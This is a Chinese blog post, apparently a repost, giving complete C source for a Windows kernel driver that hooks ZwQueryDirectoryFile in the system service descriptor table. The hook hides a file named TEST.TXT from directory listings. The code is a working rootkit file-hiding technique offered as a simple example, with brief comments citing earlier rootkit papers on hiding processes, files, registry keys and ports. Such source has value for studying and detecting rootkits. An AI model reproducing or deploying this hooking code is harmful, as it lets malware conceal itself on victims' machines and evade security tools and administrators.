• 文件隐藏


    /*********************************************************

    查找目录/文件操作系统最终调用native api ZwQueryDirectoryFile

    因此拦截此函数可以达到隐藏文件/目录的目的。

    *********************************************************/

    /*********************************************************

    参考

    <隐藏任意进程,目录/文件,注册表,端口> sinister whitecell

    <再谈Windows NT_2000内部数据结构>       webcrazy

    regmon source code                      www.sysinternals.com

    *********************************************************/

    /*********************************************************

    这仅仅是一个简单的例子,

    lode 这个驱动前可以在任意目录下建立一个TEST.TXT

    load该驱动后该文件被隐藏

    *********************************************************/

     

     

     

     

    #include "ntddk.h"

    #include "stdarg.h"

    #include "stdio.h"

     

    //----------------------------------------------------------------------

    //                           DEFINES

    //----------------------------------------------------------------------

    #if DBG

    #define DbgPrint(arg) DbgPrint arg

    #else

    #define DbgPrint(arg)

    #endif

     

    //

    //32768-65535 are reserved for use  by customers

    //

     

     

    #define FILE_DEVICE_HIDE      0x00008305

    //

    //available only on x86 now

    //

     

     

    #define SYSCALL(_function)  ServiceTable->ServiceTable[ *(PULONG)((PUCHAR)_fun

    ction+1)]

     

    typedef unsigned long       DWORD;

    typedef unsigned short      WORD;

    typedef int                           BOOL;

    //

    //structure unopen, parameter into ZwQueryDirectoryFile routine.

    //God bless me it will not be changed.ms is shit...

    //

    typedef struct _FILETIME

    {

        DWORD dwLowDateTime;

        DWORD dwHighDateTime;

    } FILETIME;

    typedef struct _DirEntry

    {

        DWORD dwLenToNext;

        DWORD dwAttr;

        FILETIME ftCreate, ftLastAccess, ftLastWrite;

        DWORD dwUnknown[ 2 ];

        DWORD dwFileSizeLow;

        DWORD dwFileSizeHigh;

        DWORD dwUnknown2[ 3 ];

        WORD wNameLen;

        WORD wUnknown;

        DWORD dwUnknown3;

        WORD wShortNameLen;

        WCHAR swShortName[ 12 ];

        WCHAR suName[ 1 ];

    } DirEntry, *PDirEntry;

     

    //

    // Definition for system call service table

    //

    typedef struct _SRVTABLE {

            PVOID           *ServiceTable;

            ULONG           LowCall;

            ULONG           HiCall;

            PVOID           *ArgTable;

    } SRVTABLE, *PSRVTABLE;

     

     

    NTSTATUS (*RealZwQueryDirectoryFile)(

        IN HANDLE hFile,

        IN HANDLE hEvent OPTIONAL,

        IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,

        IN PVOID IoApcContext OPTIONAL,

        OUT PIO_STATUS_BLOCK pIoStatusBlock,

        OUT PVOID FileInformationBuffer,

        IN ULONG FileInformationBufferLength,

        IN FILE_INFORMATION_CLASS FileInfoClass,

        IN BOOLEAN bReturnOnlyOneEntry,

        IN PUNICODE_STRING PathMask OPTIONAL,

        IN BOOLEAN bRestartQuery);

    //----------------------------------------------------------------------

    //                         GLOBALS

    //----------------------------------------------------------------------

    //

    // Pointer to system global service table

    //

    PSRVTABLE               ServiceTable;

    extern PSRVTABLE KeServiceDescriptorTable;

    PDEVICE_OBJECT          ControlDeviceObject;

     

    //----------------------------------------------------------------------

    //                         FORWARD DEFINES

    //----------------------------------------------------------------------

    NTSTATUS FilehideDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp );

    VOID     FilehideUnload( IN PDRIVER_OBJECT DriverObject );

    NTSYSAPI

    NTSTATUS

    NTAPI ZwQueryDirectoryFile(

        IN HANDLE  FileHandle,

        IN HANDLE  Event  OPTIONAL,

        IN PIO_APC_ROUTINE  ApcRoutine  OPTIONAL,

        IN PVOID  ApcContext  OPTIONAL,

        OUT PIO_STATUS_BLOCK  IoStatusBlock,

        OUT PVOID  FileInformation,

        IN ULONG  Length,

        IN FILE_INFORMATION_CLASS  FileInformationClass,

        IN BOOLEAN  ReturnSingleEntry,

        IN PUNICODE_STRING  FileName  OPTIONAL,

        IN BOOLEAN  RestartScan

        );

     

    //======================================================================

    //                    H O O K  R O U T I N E S

    //======================================================================

     

    //----------------------------------------------------------------------

    //

    // HookZwQueryDirectoryFile

    //

    //----------------------------------------------------------------------

    NTSTATUS HookZwQueryDirectoryFile(

        IN HANDLE hFile,

        IN HANDLE hEvent OPTIONAL,

        IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,

        IN PVOID IoApcContext OPTIONAL,

        OUT PIO_STATUS_BLOCK pIoStatusBlock,

        OUT PVOID FileInformationBuffer,

        IN ULONG FileInformationBufferLength,

        IN FILE_INFORMATION_CLASS FileInfoClass,

        IN BOOLEAN bReturnOnlyOneEntry,

        IN PUNICODE_STRING PathMask OPTIONAL,

        IN BOOLEAN bRestartQuery)

    {

        NTSTATUS             rc;

        CHAR                 aProcessName[80];

        ANSI_STRING          ansiFileName,ansiDirName;

        UNICODE_STRING       uniFileName;

        WCHAR                ParentDirectory[1024] = {0};

        int                  BytesReturned;

        PVOID                Object;

            CHAR            aFilehide[] = "TEST.TXT";

        //

        rc = (RealZwQueryDirectoryFile)(

                hFile,

                hEvent,

                IoApcRoutine,

                IoApcContext,

                pIoStatusBlock,

                FileInformationBuffer,

                FileInformationBufferLength,

                FileInfoClass,

                bReturnOnlyOneEntry,

                PathMask,

                bRestartQuery);

        if(NT_SUCCESS(rc))

        {

            PDirEntry p;

            PDirEntry pLast;

            BOOL bLastOne;

            int found;

            p = (PDirEntry)FileInformationBuffer;

            pLast = NULL;

            do

            {

                bLastOne = !( p->dwLenToNext );

                RtlInitUnicodeString(&uniFileName,p->suName);

                RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);

                RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);

                RtlUpperString(&ansiFileName,&ansiDirName);

                found=0;

                DbgPrint(("Filehide: RealZwQueryDirectoryFile %s\n",

    ansiFileName.Buffer));

                if( RtlCompareMemory( ansiFileName.Buffer, aFilehide,strlen(aFileh

    ide) ) == strlen(aFilehide))

                {

                    found=1;

                }

     

     

                if(found)

                {

                    if(bLastOne)

                    {

                        if(p == (PDirEntry)FileInformationBuffer )

                        {

                             rc = 0x80000006;    //hide

                        }

                        else

                            pLast->dwLenToNext = 0;

                        break;

                    }

                    else

                    {

                        int iPos = ((ULONG)p) - (ULONG)FileInformationBuffer;

                        int iLeft = (DWORD)FileInformationBufferLength - iPos

    -p->dwLenToNext;

                        RtlCopyMemory( (PVOID)p, (PVOID)( (char *)p +

    p->dwLenToNext ), (DWORD)iLeft );

                        continue;

                    }

                }

                pLast = p;

                p = (PDirEntry)((char *)p + p->dwLenToNext );

            }while( !bLastOne );

            RtlFreeAnsiString(&ansiDirName);

            RtlFreeAnsiString(&ansiFileName);

        }

        return(rc);

    }

     

    //----------------------------------------------------------------------

    //

    // Hook System Call

    //

    // Replaces entries in the system service table with pointers to

    // our own hook routines. We save off the real routine addresses.

    //

    //----------------------------------------------------------------------

    VOID HookSystemCall( void )

    {

     

            //

            // Hook everything

            //

     

            RealZwQueryDirectoryFile = SYSCALL( ZwQueryDirectoryFile );

            SYSCALL( ZwQueryDirectoryFile ) = (PVOID) HookZwQueryDirectoryFile;

     

    }

     

     

    //----------------------------------------------------------------------

    //

    // Unhook System Call

    //

    //----------------------------------------------------------------------

    VOID UnhookSystemCall( )

    {

     

            //

            // Unhook everything

            //

        SYSCALL( ZwQueryDirectoryFile ) = (PVOID) RealZwQueryDirectoryFile;

     

    }

     

     

     

    //----------------------------------------------------------------------

    //

    // FilehideDispatch

    //

    //----------------------------------------------------------------------

    NTSTATUS FilehideDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp )

    {

        PIO_STACK_LOCATION      irpStack;

     

        //

        // Go ahead and set the request up as successful

        //

        Irp->IoStatus.Status      = STATUS_SUCCESS;

        Irp->IoStatus.Information = 0;

     

        //

        // Get a pointer to the current location in the Irp. This is where

        //     the function codes and parameters are located.

        //

        irpStack = IoGetCurrentIrpStackLocation (Irp);

     

     

     

        switch (irpStack->MajorFunction) {

        case IRP_MJ_CREATE:

     

            DbgPrint(("Filehide: IRP_MJ_CREATE\n"));

     

            break;

     

        case IRP_MJ_SHUTDOWN:

     

            DbgPrint(("Filehide: IRP_MJ_CREATE\n"));

            break;

     

        case IRP_MJ_CLOSE:

     

            DbgPrint(("Filehide: IRP_MJ_CLOSE\n"));

            break;

     

        case IRP_MJ_DEVICE_CONTROL:

     

            DbgPrint (("Filehide: IRP_MJ_DEVICE_CONTROL\n"));

     

            break;

        }

        IoCompleteRequest( Irp, IO_NO_INCREMENT );

        return STATUS_SUCCESS;

    }

     

     

     

    //----------------------------------------------------------------------

    //

    // RegmonUnload

    //

    // Our job is done - time to leave.

    //

    //----------------------------------------------------------------------

    VOID FilehideUnload( IN PDRIVER_OBJECT DriverObject )

    {

        WCHAR                   deviceLinkBuffer[]  = L"\\DosDevices\\Filehide";

        UNICODE_STRING          deviceLinkUnicodeString;

     

        DbgPrint(("Filehide.SYS: unloading\n"));

     

        //

        // Unhook the system call

        //

        UnhookSystemCall();

     

        //

        // Delete the symbolic link for our device

        //

        RtlInitUnicodeString( &deviceLinkUnicodeString, deviceLinkBuffer );

        IoDeleteSymbolicLink( &deviceLinkUnicodeString );

     

        //

        // Delete the device object

        //

        IoDeleteDevice( DriverObject->DeviceObject );

     

        DbgPrint(("Filehide.SYS: deleted devices\n"));

     

    }

     

     

     

    //----------------------------------------------------------------------

    //

    // DriverEntry

    //

    // Installable driver initialization. Here we just set ourselves up.

    //

    //----------------------------------------------------------------------

    NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING

    RegistryPath )

    {

        NTSTATUS                ntStatus;

        WCHAR                   deviceNameBuffer[]  = L"\\Device\\Filehide";

        UNICODE_STRING          deviceNameUnicodeString;

        WCHAR                   deviceLinkBuffer[]  = L"\\DosDevices\\Filehide";

        UNICODE_STRING          deviceLinkUnicodeString;

     

     

        DbgPrint (("Filehide.SYS: entering DriverEntry\n"));

     

     

        //

        // Setup our name and symbolic link

        //

        RtlInitUnicodeString (&deviceNameUnicodeString,

                              deviceNameBuffer );

        RtlInitUnicodeString (&deviceLinkUnicodeString,

                              deviceLinkBuffer );

     

        ntStatus = IoCreateDevice ( DriverObject,

                                    0,

                                    &deviceNameUnicodeString,

                                    FILE_DEVICE_HIDE,

                                    0,

                                    TRUE,

                                    &ControlDeviceObject );

        if (NT_SUCCESS(ntStatus)) {

     

            //

            // Create a symbolic link that the GUI can specify to gain access

            // to this driver/device

            //

            ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString,

                                             &deviceNameUnicodeString );

     

            //

            // Create dispatch points for all routines that must be handled

            //

            DriverObject->MajorFunction[IRP_MJ_SHUTDOWN]        =

            DriverObject->MajorFunction[IRP_MJ_CREATE]          =

            DriverObject->MajorFunction[IRP_MJ_CLOSE]           =

            DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]  =

    FilehideDispatch;

    #if DBG

            DriverObject->DriverUnload                          = FilehideUnload;

    #endif

        }

        if (!NT_SUCCESS(ntStatus)) {

     

            DbgPrint(("Filehide: Failed to create our device!\n"));

     

            //

            // Something went wrong, so clean up (free resources etc)

            //

            if( ControlDeviceObject ) IoDeleteDevice( ControlDeviceObject );

            IoDeleteSymbolicLink( &deviceLinkUnicodeString );

            return ntStatus;

        }

     

        //

        // Pointer to system table data structure is an NTOSKRNL export

        //

        ServiceTable = KeServiceDescriptorTable;

        DbgPrint(("Filehide: Servicetable: %x\n", ServiceTable ));

            HookSystemCall();

            DbgPrint(("Filehide: Hook System Call"));

        return STATUS_SUCCESS;

    }

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  • 原文地址:https://www.cnblogs.com/sizzle/p/911088.html
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